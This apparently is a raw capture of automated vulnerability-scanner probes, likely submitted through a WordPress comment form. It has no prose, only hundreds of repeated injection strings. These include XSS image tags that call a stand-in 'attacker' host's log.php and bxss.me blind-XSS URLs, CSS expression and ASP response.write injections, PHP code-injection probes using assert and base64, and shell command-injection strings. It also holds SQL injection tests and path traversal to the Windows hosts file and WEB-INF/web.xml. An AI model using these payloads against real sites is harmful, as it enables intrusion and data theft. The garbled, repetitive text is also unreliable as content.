555<img sRc='http://attacker-9021/log.php?
555<a9ntd1R<
555
555
555
555
555
555
555
555
555
555
555
5559851461
bfg10016<s1﹥s2ʺs3ʹhjl10016
bfgx8637z1z2abcxhjl8637
1}}”}}’}}1%>”%>’%>
555VBUWS[!+!]
555}body{zzz:Expre/**/SSion(rgTy(9868))}
5555QTST[!+!]
555<img sRc='http://attacker-9240/log.php?
555<abhyGDl<
555
555
555
5559257048
bfg4035<s1﹥s2ʺs3ʹhjl4035
bfgx2530z1z2abcxhjl2530
555
555DCULF[!+!]
555
555
555
555
555
555
555
555
555
5559332878
555
bfg9030<s1﹥s2ʺs3ʹhjl9030
bfgx2677z1z2abcxhjl2677
555
555TCIA0[!+!]
555
555
555}body{zzz:Expre/**/SSion(V6dH(9165))}
555RXECV[!+!]
555<img sRc='http://attacker-9575/log.php?
555<aMxRmGk<
555
555
555
555
555
555
555
k1gTeNOO
response.write(9850287*9213064)
‘+response.write(9850287*9213064)+’
“+response.write(9850287*9213064)+”
555
)
&echo fmaeco$()\ fxkgix\nz^xyu||a #’ &echo fmaeco$()\ fxkgix\nz^xyu||a #|” &echo fmaeco$()\ fxkgix\nz^xyu||a #
!(()&&!|*|*|
;assert(base64_decode(‘cHJpbnQobWQ1KDMxMzM3KSk7’));
‘;print(md5(31337));$a=’
http://bxss.me/t/xss.html?%00
${@print(md5(31337))}\
555
555aYPWHnvE
555*374*369*0
555*43*38*0
555*752*747*0
555*905*900*0
555
../555
555
555%2527%2522\’\”
555
555
555
555
555
‘+response.write(9131990*9732191)+’
555
555&echo qrgdgh$()\ yapjwt\nz^xyu||a #’ &echo qrgdgh$()\ yapjwt\nz^xyu||a #|” &echo qrgdgh$()\ yapjwt\nz^xyu||a #
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
http://bxss.me/t/fit.txt
555RZQbEb5A
555
555*871*866*0
555*908*903*0
555*703*698*0
555+708-703-5
555*300*295*0
-1 OR 2+135-135-1=0+0+0+1
-1 OR 3*2<(0+5+135-135)
C:\WINDOWS\system32\drivers\etc\hosts
!(()&&!|*|*|
^(#$!@#$)(()))******
WEB-INF/web.xml
;assert(base64_decode(‘cHJpbnQobWQ1KDMxMzM3KSk7’));
@@xzeUv
${@print(md5(31337))}
‘.print(md5(31337)).’
‘”
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
5559929696
bfg10652<s1﹥s2ʺs3ʹhjl10652
bfgx2335z1z2abcxhjl2335
555IZDMA[!+!]
555}body{zzz:Expre/**/SSion(tXf3(9285))}
555<img sRc='http://attacker-9285/log.php?
555
555
555
555
555
555oa75MVW7
555*301*296*0
555*127*122*0
555+132-127-5
g0Muz69v
555*302*297*0
555
555
../555
^(#$!@#$)(()))******
bxss.me
@@bk8Ew
555
555
‘”
5559745485
bfg10229<s1﹥s2ʺs3ʹhjl10229
bfgx7658z1z2abcxhjl7658
<th:t="${dfb}#foreach
555N2YO6[!+!]
555}body{zzz:Expre/**/SSion(kmth(9096))}
555SOJ4K[!+!]
555<img sRc='http://attacker-9805/log.php?
555<a3dxkRH<
555
555
555
555
555
555
555
‘+response.write(9461190*9125960)+’
555
555
555
555
555KRQfnq7b
555*920*915*0
./555
)
555
555+176-171-5
555
555
555
<!–
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
‘+response.write(9253539*9662167)+’
555
../555
./555
555
555LpCWZEwD
555*797*792*0
555*913*908*0
555*756*751*0
555+761-756-5
555
@@WyIU5
555
555
555
555
“+response.write(9797429*9582329)+”
555
555
555eTQQ7QlO
555*231*226*0
555*741*736*0
555*71*66*0
555
)
555
@@XqJS1
555
555
5559196036
bfgx10925z1z2abcxhjl10925
../555
555
555AI1LX[!+!]
555
555
555
555}body{zzz:Expre/**/SSion(rTWr(9701))}
555<img sRc='http://attacker-9823/log.php?
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
CweoSisk
555
../555
/WEB-INF/web.xml
)
555
‘”
555
555
555
555CfxWnWK5
555
555*167*162*0
555*120*115*0
555
555
555
555
555
@@dm2R8
555
555
1XC8h9PaO
response.write(9027030*9340735)
555
KQpzsyZg
)
^(#$!@#$)(()))******
555
555XX36Yakn
555*883*878*0
555*734*729*0
555*27*22*0
555+32-27-5
555*594*589*0
‘”
555
555
555
555
555
555
555
555koZHelc6
555*847*842*0
555*832*827*0
555+837-832-5
555
555*130*125*0
555+135-130-5
555*449*444*0
555+454-449-5
555
555
555
@@k72uC
555
555
555
555
555
555
5559747156
bfg5689<s1﹥s2ʺs3ʹhjl5689
bfgx9057z1z2abcxhjl9057
555QPVUT[!+!]
555}body{zzz:Expre/**/SSion(CGmV(9846))}
555U4XIV[!+!]
555<img sRc='http://attacker-9560/log.php?
555<aHyt5Kv<
555
555
555
555
555
555
555lFp6T5FP
555*172*167*0
555*375*370*0
555+380-375-5
555*15*10*0
555*55*50*0
555+60-55-5
555
555
555
555
555
555
555
5559774618
bfg5220<s1﹥s2ʺs3ʹhjl5220
@@OhgUx
555RJXZH[!+!]
555}body{zzz:Expre/**/SSion(iWQJ(9036))}
555WEL6I[!+!]
555<img sRc='http://attacker-9518/log.php?
555
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
555
555
555
555
555
555
555
555
555
555
555
555
555
555
5559368628
555SVVsPJAk
bfg2036<s1﹥s2ʺs3ʹhjl2036
555*1
555+424-419-5
555+923-918-5
5557CEDF[!+!]
555}body{zzz:Expre/**/SSion(p83l(9151))}
555QOPM4[!+!]
555<img sRc='http://attacker-9240/log.php?
555<adbtxiD<
555
555′”
555
555
555
5559705478
555
555
555PS9D7gvc
555*994*989*0
555*524*519*0
555*51*46*0
555*882*877*0
@@xADal
555
555
555
555
555
555
555
555
555
555
555*249*244*0
555
555+354-349-5
555
555*726*721*0
555
555
@@PqSAm
555
555
555
555
555
555
555
555vfJfqonC
555*53*48*0
555+509-504-5
555*279*274*0
555
555
555
5559114010
bfg3350<s1﹥s2ʺs3ʹhjl3350
55514U4D[!+!]
555}body{zzz:Expre/**/SSion(qa6K(9565))}
555<img sRc='http://attacker-9695/log.php?
555
555%2527%2522\’\”
555
555
555
555
555
555
555
5556KZeK4TO
555*292*287*0
555*193*188*0
555+154-149-5
555
555
555
555
555
5559147612
bfg5914<s1﹥s2ʺs3ʹhjl5914
bfgx8877z1z2abcxhjl8877
555EKUQX[!+!]
@@rt9zD
555}body{zzz:Expre/**/SSion(ripi(9513))}
555M00FG[!+!]
555<img sRc='http://attacker-9744/log.php?
555
5559874438
bfg8789<s1﹥s2ʺs3ʹhjl8789
5558W59B[!+!]
555}body{zzz:Expre/**/SSion(y2gy(9927))}
555PG660[!+!]
555<img sRc='http://attacker-9440/log.php?
555<ag3M6Os<
555
555
555a8wfxgXb
555*307*302*0
555*543*538*0
555*842*837*0
555*342*337*0
@@AwxU5
555
555
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
555
555
555
555
555
555
555
555IYMCbNxK
555
555*1
555
555
555
555
5559720862
bfg5521<s1﹥s2ʺs3ʹhjl5521
555VDZNJ[!+!]
555}body{zzz:Expre/**/SSion(aItl(9879))}
555WDO9A[!+!]
555<img sRc='http://attacker-9136/log.php?
555<aWWzzkY<
555
555%2527%2522\’\”
555
555
555
555
555
555
555Pxrw9j4M
555*282*277*0
555
555*530*525*0
555*543*538*0
555
@@HdUVd
555
555
555
555
555
555
5559688711
bfg9085<s1﹥s2ʺs3ʹhjl9085
bfgx6646z1z2abcxhjl6646
555EM8IO[!+!]
555
555
555
555
555}body{zzz:Expre/**/SSion(IEkH(9455))}
555D81RY[!+!]
555<img sRc='http://attacker-9676/log.php?
555<aG2SL3t<
555
555
555
555
555iiFXPUuA
555
555*732*727*0
555+737-732-5
555
555*546*541*0
555+551-546-5
555*107*102*0
555*469*464*0
555
555
555
555
5559043492
bfg8360<s1﹥s2ʺs3ʹhjl8360
bfgx5444z1z2abcxhjl5444
555NSLNT[!+!]
555}body{zzz:Expre/**/SSion(cdX5(9429))}
555EQXUG[!+!]
555<img sRc='http://attacker-9991/log.php?
555<aqQb16J<
555
@@gOKua
555
555
5559244424
bfg10447<s1﹥s2ʺs3ʹhjl10447
bfgx3737z1z2abcxhjl3737
555JZMKO[!+!]
555}body{zzz:Expre/**/SSion(gkgz(9844))}
555ZMB0J[!+!]
555<img sRc='http://attacker-9633/log.php?
555<aZY1LEP<
555
555
555sZUx6yxN
555*765*760*0
555+292-287-5
555*359*354*0
555
555
555
555
555
555ZVMcLj2I
555*885*880*0
555
555+812-807-5
555*401*396*0
555*410*405*0
555
555
555
555
555
555
5559647759
bfg9042<s1﹥s2ʺs3ʹhjl9042
bfgx6023z1z2abcxhjl6023
@@NgITc
555}body{zzz:Expre/**/SSion(vO9g(9004))}
555POMYX[!+!]
555<img sRc='http://attacker-9518/log.php?
555<aqqkTHX<
555
555
555
555
555
555
555
555YUUHt1Dn
555*503*498*0
555*212*207*0
555*684*679*0
555
555
555jvxebz1G
555
555*574*569*0
555+579-574-5
555*884*879*0
555+889-884-5
555*349*344*0
555+354-349-5
555*890*885*0
555+895-890-5
555
555
555
@@CuZaK
555
555
555
555
555
555
5559960986
555
555
555
555565NZ[!+!]
555
555OVT7J[!+!]
555<img sRc='http://attacker-9985/log.php?
555<ajnFgEU<
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
555
555
555
555
5559ZPWowvE
555*293*288*0
555*260*255*0
555*804*799*0
555*143*138*0
555
555
555
555
@@sAv9A
555
555
555
555
5559587086
bfg3684<s1﹥s2ʺs3ʹhjl3684
bfgx2972z1z2abcxhjl2972
555PVPGU[!+!]
555}body{zzz:Expre/**/SSion(3fJD(9841))}
555GPRMH[!+!]
555<img sRc='http://attacker-9863/log.php?
555<atl907t<
555
555
555
555
555
555
555
555
555
555
555caXfxASP
555*713*708*0
555*882*877*0
555*42*37*0
555*11*6*0
555
555
555
555
555
555
5559339409
bfg3577<s1﹥s2ʺs3ʹhjl3577
bfgx7942z1z2abcxhjl7942
555E5WYT[!+!]
555}body{zzz:Expre/**/SSion(EwhB(9524))}
555RPQIY[!+!]
555
555<a6ipayX<
555
555
555
555
555
555
555
555
555
555VwtqqA34
555*324*319*0
555*66*61*0
555*233*228*0
555*616*611*0
555
555
555
555
555
555
@@5tv3a
5559502476
bfg8684<s1﹥s2ʺs3ʹhjl8684
bfgx6194z1z2abcxhjl6194
555DSIXY[!+!]
555}body{zzz:Expre/**/SSion(Mm3d(9822))}
555<img sRc='http://attacker-9137/log.php?
555
555
555
555
555
555
555
555
555OglZ5iaY
555
555*35*30*0
555*732*727*0
555*71*66*0
555*662*657*0
555
555
555
555
555
555
5559387559
bfg7549<s1﹥s2ʺs3ʹhjl7549
bfgx5943z1z2abcxhjl5943
@@m3mmQ
555UPZ8F[!+!]
555}body{zzz:Expre/**/SSion(Fm46(9086))}
5555FUTO[!+!]
555<img sRc='http://attacker-9399/log.php?
555<atITZvE<
555
555
555
555
bxss.me
bxss.me/t/xss.html?%00
555
555
555
555
555
5553cuJw3Ij
555*1
555
555
555
5559545700
bfg1991<s1﹥s2ʺs3ʹhjl1991
<th:t="${dfb}#foreach
“dfbzzzzzzzzbbbccccdddeeexca”.replace(“z”,”o”)
555}body{zzz:Expre/**/SSion(7sfi(9111))}
555<img sRc='http://attacker-9020/log.php?
555<a174rfA<
555
555′”
555
555
555
555
555
555tgRr0DbS
555
555*208*203*0
555+740-735-5
555*188*183*0
555
555
555
555
555
555
555
555
5559970634
bfg4753<s1﹥s2ʺs3ʹhjl4753
555SNLZQ[!+!]
555}body{zzz:Expre/**/SSion(sE9a(9915))}
555VSQMY[!+!]
555<img sRc='http://attacker-9704/log.php?
555<abfjCux<
555
555
555
555
555
555
555
555
555
555
555
555u2L8MNAI
555
555*862*857*0
555*705*700*0
555
555+91-86-5
555*514*509*0
555
5559758346
bfg1176<s1﹥s2ʺs3ʹhjl1176
5555ANGQ[!+!]
555}body{zzz:Expre/**/SSion(7I24(9379))}
555ETURR[!+!]
555<img sRc='http://attacker-9259/log.php?
555<aLh975M<
555
@@v56Wf
555
555
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
555yYtMGVaJ
555*459*454*0
555*271*266*0
555*374*369*0
555*992*987*0
555
555
555
555
555
555
555
555
555
555
555
5559753846
bfg3297<s1﹥s2ʺs3ʹhjl3297
bfgx1848z1z2abcxhjl1848
555%2527%2522\’\”
1}}”}}’}}1%>”%>’%>
555UYLJW[!+!]
555}body{zzz:Expre/**/SSion(aS7v(9824))}
555NRSVP[!+!]
555<img sRc='http://attacker-9687/log.php?
555<ay74WbH<
555
555
555
555
555
555
555KXRHAtSp
555
555*175*170*0
555*231*226*0
555*35*30*0
555+444-439-5
555
555
555
555
5559528683
555VY2FC[!+!]
@@R3mBO
555<img sRc='http://attacker-9223/log.php?
555
555
555
555
555
555
555
555
555
555
555
555eiT1O16p
555
555
555*26*21*0
555*313*308*0
555+318-313-5
555*901*896*0
555
@@4tDkL
555
555
555
555
555
555h5i6Lo1Y
555*582*577*0
555+587-582-5
555*879*874*0
555*101*96*0
555*502*497*0
555+507-502-5
555
555
555
555
@@NMXB7
555
555
5559442039
bfg1992<s1﹥s2ʺs3ʹhjl1992
bfgx4799z1z2abcxhjl4799
555IISQG[!+!]
555}body{zzz:Expre/**/SSion(lXlw(9804))}
555UQKXY[!+!]
555<img sRc='http://attacker-9979/log.php?
555<ag80Yf2<
555
555
555
555
555
5550mz8sVqx
555*431*426*0
555+436-431-5
555*60*55*0
555+65-60-5
555
555*541*536*0
555*752*747*0
555+757-752-5
555
555
555
@@H2r9n
555
555
555
555
555
555
555
5559046000
bfg8744<s1﹥s2ʺs3ʹhjl8744
bfgx7808z1z2abcxhjl7808
555DJOHO[!+!]
555}body{zzz:Expre/**/SSion(aVQQ(9940))}
5552M0EF[!+!]
555<img sRc='http://attacker-9121/log.php?
555<aBSbt2N<
555
555
555
555
555
555
555
555
555
555
555
555
555
555JpDhHAZy
555
555*96*91*0
5559284642
555*599*594*0
555*842*837*0
1}}”}}’}}1%>”%>’%>
555LDDQD[!+!]
555}body{zzz:Expre/**/SSion(3Dwx(9861))}
555CO3KP[!+!]
555<img sRc='http://attacker-9964/log.php?
555
555%2527%2522\’\”
555
555
555
555
555
555OAFpZdVG
555
555*353*348*0
555+358-353-5
555*857*852*0
555*52*47*0
555+57-52-5
555*463*458*0
555+468-463-5
555
555
555
@@YnPXz
555
555
555
555
555
5559756832
bfg2649<s1﹥s2ʺs3ʹhjl2649
bfgx2733z1z2abcxhjl2733
555
555
555KUXLE[!+!]
555
555
555}body{zzz:Expre/**/SSion(onwc(9094))}
555JzGnlQYq
5553CBYM[!+!]
555*971*966*0
555*410*405*0
555
555*901*896*0
555
555
555
555
555
555
5559095141
bfg1075<s1﹥s2ʺs3ʹhjl1075
bfgx5013z1z2abcxhjl5013
555WJVRL[!+!]
@@J6wcX
555}body{zzz:Expre/**/SSion(O9UG(9258))}
5552SWTR[!+!]
555<img sRc='http://attacker-9106/log.php?
555<aS4Tsuz<
555
555
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
555
555
555
555
555
555
555
555
555
555
555
555
555KlxLzCEK
5559984991
555*96*91*0
555*557*552*0
555*496*491*0
555*968*963*0
555}body{zzz:Expre/**/SSion(KNTI(9110))}
555X4XO1[!+!]
555<img sRc='http://attacker-9743/log.php?
555<aCwryIl<
555
@@SYLzy
555
555
555
555
555
555noKmmece
555*406*401*0
555
555*288*283*0
555+293-288-5
555*45*40*0
555+50-45-5
555*488*483*0
555
555
555
@@mErQY
555
555
555
555
5559078906
5559724351
bfg8966<s1﹥s2ʺs3ʹhjl8966
bfgx8556z1z2abcxhjl8556
bfg5984<s1﹥s2ʺs3ʹhjl5984
bfgx3808z1z2abcxhjl3808
555
5556u7AWgyo
555FCG4W[!+!]
555*437*432*0
555I7ES2[!+!]
555*554*549*0
555+559-554-5
555*993*988*0
555+998-993-5
555*435*430*0
555+440-435-5
555}body{zzz:Expre/**/SSion(TXIe(9815))}
5554S7GS[!+!]
555}body{zzz:Expre/**/SSion(uXjI(9635))}
555JWSJP[!+!]
555
555<img sRc='http://attacker-9407/log.php?
555<aoQtaVz<
555
555
@@hACuV
555
555
555
555
555kqfWIigC
555
555+901-896-5
555*673*668*0
555*549*544*0
555+554-549-5
555*905*900*0
555+910-905-5
@@21Nw9
555
555
555
555
555
555
555
555
5559716046
bfg7226<s1﹥s2ʺs3ʹhjl7226
bfgx2298z1z2abcxhjl2298
555HRUEM[!+!]
555
555
555
555
555
555
555
555HZlaFZn6
555*767*762*0
555*818*813*0
555*663*658*0
555+668-663-5
555*982*977*0
555+987-982-5
555
555
555
@@FiNu5
555
555
555
555
555
555
5559880265
555
bfg9930<s1﹥s2ʺs3ʹhjl9930
bfgx2013z1z2abcxhjl2013
555KDQML[!+!]
555}body{zzz:Expre/**/SSion(d3lb(9259))}
555TCB6A[!+!]
555<img sRc='http://attacker-9610/log.php?
555<aQfQG6f<
555
555
555
555
555QdrjpfSo
555
555*138*133*0
555*647*642*0
555*792*787*0
555*432*427*0
555
555
555
555
555
555
555
5559015799
bfg7379<s1﹥s2ʺs3ʹhjl7379
bfgx9834z1z2abcxhjl9834
5554E3AX[!+!]
555}body{zzz:Expre/**/SSion(NxbK(9756))}
555P8XNQ[!+!]
555<img sRc='http://attacker-9177/log.php?
555<aAM9LVG<
555
5559433857
bfg2577<s1﹥s2ʺs3ʹhjl2577
bfgx10560z1z2abcxhjl10560
555
555ORV6F[!+!]
555}body{zzz:Expre/**/SSion(j4ub(9639))}
555C21WQ[!+!]
555<img sRc='http://attacker-9167/log.php?
555
555
5550rwBSPse
555*453*448*0
555+458-453-5
555*167*162*0
555+172-167-5
555+902-897-5
555*74*69*0
555
@@zwC9N
555
555
555
555V2x93z9q
555*156*151*0
555+627-622-5
@@wdbi9
bxss.me
555
555
555
555
555
555
555
555
555
555
5559228699
bfg9546<s1﹥s2ʺs3ʹhjl9546
555QYMWE[!+!]
555}body{zzz:Expre/**/SSion(LCuw(9520))}
555<img sRc='http://attacker-9711/log.php?
555
555
555
555
^(#$!@#$)(()))******
response.write(9931738*9987998)
555
../555
555
555
555
555
555nEiUVxBU
555*1
555+780-775-5
555*414*409*0
555*912*907*0
555
555
555
555%2527%2522\’\”
555
555
555
)
555
“+response.write(9443205*9849927)+”
555
wp-comments-post.php/.
555
555
<!–
555
555
555dKPjX4c2
555
555*1
555+826-821-5
555+169-164-5
555+791-786-5
555
555
555
555
555
555
5559105367
bfg3457<s1﹥s2ʺs3ʹhjl3457
bfgx5570z1z2abcxhjl5570
<th:t="${dfb}#foreach
1}}”}}’}}1%>”%>’%>
“dfbzzzzzzzzbbbccccdddeeexca”.replace(“z”,”o”)
555ZN6AQ[!+!]
555
555
555}body{zzz:Expre/**/SSion(DK7X(9158))}
555TOE8V[!+!]
555<img sRc='http://attacker-9352/log.php?
555<aRa7vWa<
555
555
555
555
555
555
555
555
555
555&n901044=v991386
555
!(()&&!|*|*|
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555*1
555
555
555
555
555
555
5557vb5aPEp
555*163*158*0
555
555+383-378-5
555*208*203*0
555+213-208-5
555*987*982*0
555
555
5559341460
bfg8480<s1﹥s2ʺs3ʹhjl8480
bfgx9104z1z2abcxhjl9104
555
5558yaTyJbK
555*624*619*0
555+629-624-5
555*570*565*0
555*166*161*0
555+171-166-5
555+97-92-5
555}body{zzz:Expre/**/SSion(XnxD(9055))}
@@lRghy
555<img sRc='http://attacker-9914/log.php?
555
555
555
555
555
555
555LGfD7uya
555
555*326*321*0
555*958*953*0
555
555
555
555
555
555
555
5559530290
bfg7200<s1﹥s2ʺs3ʹhjl7200
bfgx2853z1z2abcxhjl2853
@@WFZK9
555SCS1Z[!+!]
555}body{zzz:Expre/**/SSion(fhBX(9455))}
555<img sRc='http://attacker-9329/log.php?
555<a59S6Qh<
555
555
bxss.me
555
555
555
555
555
555
555
555vrcGNhce
555
555*283*278*0
555*144*139*0
555
555*711*706*0
555
555
555
5559853665
bfg6103<s1﹥s2ʺs3ʹhjl6103
555AFKO6[!+!]
555}body{zzz:Expre/**/SSion(7VBz(9259))}
555JGRAT[!+!]
555<img sRc='http://attacker-9314/log.php?
555
555%2527%2522\’\”
555
555
5559550479
bfg6057<s1﹥s2ʺs3ʹhjl6057
bfgx7923z1z2abcxhjl7923
555DMBWG[!+!]
555
5553VHB7[!+!]
555<img sRc='http://attacker-9630/log.php?
555hTSGAVQq
555*188*183*0
555+793-788-5
555*90*85*0
555*509*504*0
@@RbP4n
555
555
555
555
555
555
555
555WYvqRPjt
555*877*872*0
555*958*953*0
555+868-863-5
555*78*73*0
555
555
555
5559832726
bfg4247<s1﹥s2ʺs3ʹhjl4247
555HPQKP[!+!]
555}body{zzz:Expre/**/SSion(v5rk(9143))}
555LLTYN[!+!]
555<img sRc='http://attacker-9806/log.php?
555
555
555
555
555F5k24MPf
555*669*664*0
555*628*623*0
555+633-628-5
555%2527%2522\’\”
555
555
555
555
555
555
555
555
555
555
5559742359
bfg2908<s1﹥s2ʺs3ʹhjl2908
555D944Q[!+!]
555}body{zzz:Expre/**/SSion(RNGm(9147))}
555NQFOZ[!+!]
555<img sRc='http://attacker-9702/log.php?
555<aiLYkAc<
555
http://bxss.me/t/xss.html?%00
5559729743
bfg4167<s1﹥s2ʺs3ʹhjl4167
bfgx5534z1z2abcxhjl5534
555
555GLLRP[!+!]
555g2as3Pqj
555*709*704*0
555*706*701*0
555+711-706-5
555*127*122*0
555+132-127-5
555*10*5*0
555+15-10-5
555}body{zzz:Expre/**/SSion(M2Cv(9306))}
555JKVUE[!+!]
555<img sRc='http://attacker-9385/log.php?
555<aGsV4mL<
555
@@xbgWf
555
555
555
555
555
555
555
555
555
555VZGYUJJu
555
555+238-233-5
555*476*471*0
555*778*773*0
555*114*109*0
5559186012
bfg10910<s1﹥s2ʺs3ʹhjl10910
bfgx2777z1z2abcxhjl2777
555HSN9J[!+!]
555}body{zzz:Expre/**/SSion(Uvp0(9842))}
555IOEFL[!+!]
555<img sRc='http://attacker-9278/log.php?
555<a78qXA0<
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
5559372338
bfg2704<s1﹥s2ʺs3ʹhjl2704
bfgx1033z1z2abcxhjl1033
555*366*361*0
555*130*125*0
555*966*961*0
555+683-678-5
555}body{zzz:Expre/**/SSion(1J4d(9627))}
555QGVKU[!+!]
555<img sRc='http://attacker-9963/log.php?
555<a0Nqqt8<
555
@@GGUsE
555
555
555
555
555
555
555
555ndQbGPnL
555
555*349*344*0
555+354-349-5
555*976*971*0
555
555+372-367-5
555*182*177*0
555
555
555
555
555
555
555
555
555
5559783057
555iHUq1uWE
bfg6117<s1﹥s2ʺs3ʹhjl6117
555*207*202*0
555*858*853*0
555+863-858-5
555*665*660*0
555+670-665-5
555*901*896*0
555
5551WJCX[!+!]
555
555
555
555}body{zzz:Expre/**/SSion(C877(9396))}
555
5551GIY2[!+!]
555<img sRc='http://attacker-9422/log.php?
555<aQ0ANK7<
5559306164
@@eVCvV
555
bfg10974<s1﹥s2ʺs3ʹhjl10974
bfgx5183z1z2abcxhjl5183
5550JEQC[!+!]
555}body{zzz:Expre/**/SSion(3ToK(9003))}
555YSWVY[!+!]
555<img sRc='http://attacker-9393/log.php?
555<as2xbzs<
555
555
555
555
555
555
555
555czOGVQti
555*30*25*0
555+35-30-5
555*988*983*0
555
555*247*242*0
555+252-247-5
555
555
@@iHyNk
555
555
555
555
555
555
555
5559438808
bfg4576<s1﹥s2ʺs3ʹhjl4576
bfgx8589z1z2abcxhjl8589
555WA3S4[!+!]
555
555}body{zzz:Expre/**/SSion(KJtH(9626))}
555
555CJPBD[!+!]
555<img sRc='http://attacker-9444/log.php?
555
555FjLn2Q6W
555
555
555*347*342*0
555*670*665*0
555+675-670-5
555*766*761*0
555+771-766-5
555*686*681*0
555
555+691-686-5
555
555
@@HLuSK
555
555
555
555
555
555
555
5559969914
bfg6193<s1﹥s2ʺs3ʹhjl6193
555LVTZZ[!+!]
555}body{zzz:Expre/**/SSion(vw59(9306))}
555NYA2N[!+!]
555<img sRc='http://attacker-9058/log.php?
555<a9KM5U8<
555
555
555
555tB1nayxX
555*594*589*0
555*88*83*0
555*560*555*0
555*734*729*0
@@J1fVG
555
555
555
555
555
555
555
555
555
555
555
555
5559311117
bfg9701<s1﹥s2ʺs3ʹhjl9701
bfgx10596z1z2abcxhjl10596
555ONJTG[!+!]
555}body{zzz:Expre/**/SSion(jEVV(9718))}
555
555
555
555
555
555hY69R5Dj
555*102*97*0
555*823*818*0
555+828-823-5
555*463*458*0
555*210*205*0
555
555
555
555
555
555
555
555
5559691665
bfg1401<s1﹥s2ʺs3ʹhjl1401
555JXUVZ[!+!]
555
555}body{zzz:Expre/**/SSion(vJum(9954))}
555Q3CWE[!+!]
555<img sRc='http://attacker-9306/log.php?
555
555
5559175662
555
555KBV5L[!+!]
555}body{zzz:Expre/**/SSion(VKFb(9576))}
555Z3ZUG[!+!]
555<img sRc='http://attacker-9683/log.php?
555<a4OwrOP<
555
555
555jTvjHGXQ
555*835*830*0
555*554*549*0
555+559-554-5
555*709*704*0
555*643*638*0
@@NwLFW
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
555
bxss.me/t/xss.html?%00
555
555
555
555
555
555xRvyK4Pt
555*877*872*0
555
555*598*593*0
555
5559649562
bfg7176<s1﹥s2ʺs3ʹhjl7176
555JRKVG[!+!]
555}body{zzz:Expre/**/SSion(j3Zl(9735))}
555<img sRc='http://attacker-9093/log.php?
555
555%2527%2522\’\”
555
azeaze
555
555
555
555QDvziyHt
555*79*74*0
555
555*206*201*0
555+211-206-5
555*305*300*0
555*232*227*0
555+237-232-5
555
555
@@DPWUT
555
555
555
555
555
555
5559673533
bfg9597<s1﹥s2ʺs3ʹhjl9597
555BGM9Y[!+!]
555}body{zzz:Expre/**/SSion(WvOt(9512))}
555
5557Q0H3[!+!]
555<img sRc='http://attacker-9444/log.php?
555<aEUloVM<
555
555
555
555
555
555
555
555KvLN3VSa
555*586*581*0
555*96*91*0
555*52*47*0
555*456*451*0
@@1qLKt
555
555
555
555
555
555
555
5559862280
bfg2400<s1﹥s2ʺs3ʹhjl2400
5554LKAM[!+!]
555}body{zzz:Expre/**/SSion(6Tuy(9075))}
555QSMUP[!+!]
555<img sRc='http://attacker-9778/log.php?
555<aUojxtk<
555
555
555
555
555
5556MkmIA8g
555*16*11*0
555*443*438*0
555*245*240*0
555*758*753*0
555+763-758-5
555
@@0uggA
555
555
555
555
555
555
5559023475
bfg6702<s1﹥s2ʺs3ʹhjl6702
bfgx10502z1z2abcxhjl10502
555TIM7R[!+!]
555}body{zzz:Expre/**/SSion(c8sH(9685))}
555
555<img sRc='http://attacker-9354/log.php?
555<aDEByxX<
555
555
555
555
555
555UwSAdkXn
555*521*516*0
555*175*170*0
555
555+297-292-5
555*842*837*0
555
555
555
555
5559790921
bfg10146<s1﹥s2ʺs3ʹhjl10146
bfgx9638z1z2abcxhjl9638
555OHHQA[!+!]
555}body{zzz:Expre/**/SSion(QmWg(9051))}
555WTXLN[!+!]
@@etj10
555<img sRc='http://attacker-9824/log.php?
555<awh6u2P<
555
555
555
555
555
555HRwZn4Fv
555*669*664*0
555
555*386*381*0
555*810*805*0
555+815-810-5
555+992-987-5
555
555
@@s2eLJ
555
555
555
555
555
555
5559548958
bfg2639<s1﹥s2ʺs3ʹhjl2639
bfgx8268z1z2abcxhjl8268
555ORK0V[!+!]
555}body{zzz:Expre/**/SSion(LSs0(9883))}
555FGJSK[!+!]
555<img sRc='http://attacker-9554/log.php?
555
555
555
555
555
555
555
555
555IwGC20YH
555*589*584*0
555+484-479-5
555*721*716*0
555
555*682*677*0
555+687-682-5
555
555
555
555
5559017728
bfg10931<s1﹥s2ʺs3ʹhjl10931
5550YPVU[!+!]
555}body{zzz:Expre/**/SSion(MfhQ(9541))}
555IWHCX[!+!]
555<img sRc='http://attacker-9269/log.php?
555<a8qjNAg<
@@5R6Bg
555
555
555
555
555
555
555
555
555iEyO1dCw
555
555*802*797*0
555*65*60*0
555
555
555
555
555
555
5559807453
bfg2192<s1﹥s2ʺs3ʹhjl2192
bfgx2798z1z2abcxhjl2798
555NBH0C[!+!]
555}body{zzz:Expre/**/SSion(j6M0(9342))}
5559YQJV[!+!]
555<img sRc='http://attacker-9810/log.php?
555<aN3xhLm<
@@LjtB0
555
555
555
response.write(9140963*9036261)
555
ByY0ou9K
555*827*822*0
555&echo grzjzx$()\ zpljov\nz^xyu||a #’ &echo grzjzx$()\ zpljov\nz^xyu||a #|” &echo grzjzx$()\ zpljov\nz^xyu||a #
555*651*646*0
-1 OR 2+743-743-1=0+0+0+1
http://bxss.me/t/fit.txt
555
@@nEBxA
555
“;print(md5(31337));$a=”
‘.print(md5(31337)).’
‘”
555
555
555
555
555
555
555
555
555
555
555
555
5559286213
bfg9481<s1﹥s2ʺs3ʹhjl9481
bfgx2605z1z2abcxhjl2605
555KIYA3[!+!]
555}body{zzz:Expre/**/SSion(wNch(9817))}
5558QWNG[!+!]
555<img sRc='http://attacker-9431/log.php?
555<aW6A9PJ<
555
555
555
555
555
response.write(9238628*9719721)
“+response.write(9238628*9719721)+”
555
echo nhnhgt$()\ whspre\nz^xyu||a #’ &echo nhnhgt$()\ whspre\nz^xyu||a #|” &echo nhnhgt$()\ whspre\nz^xyu||a #
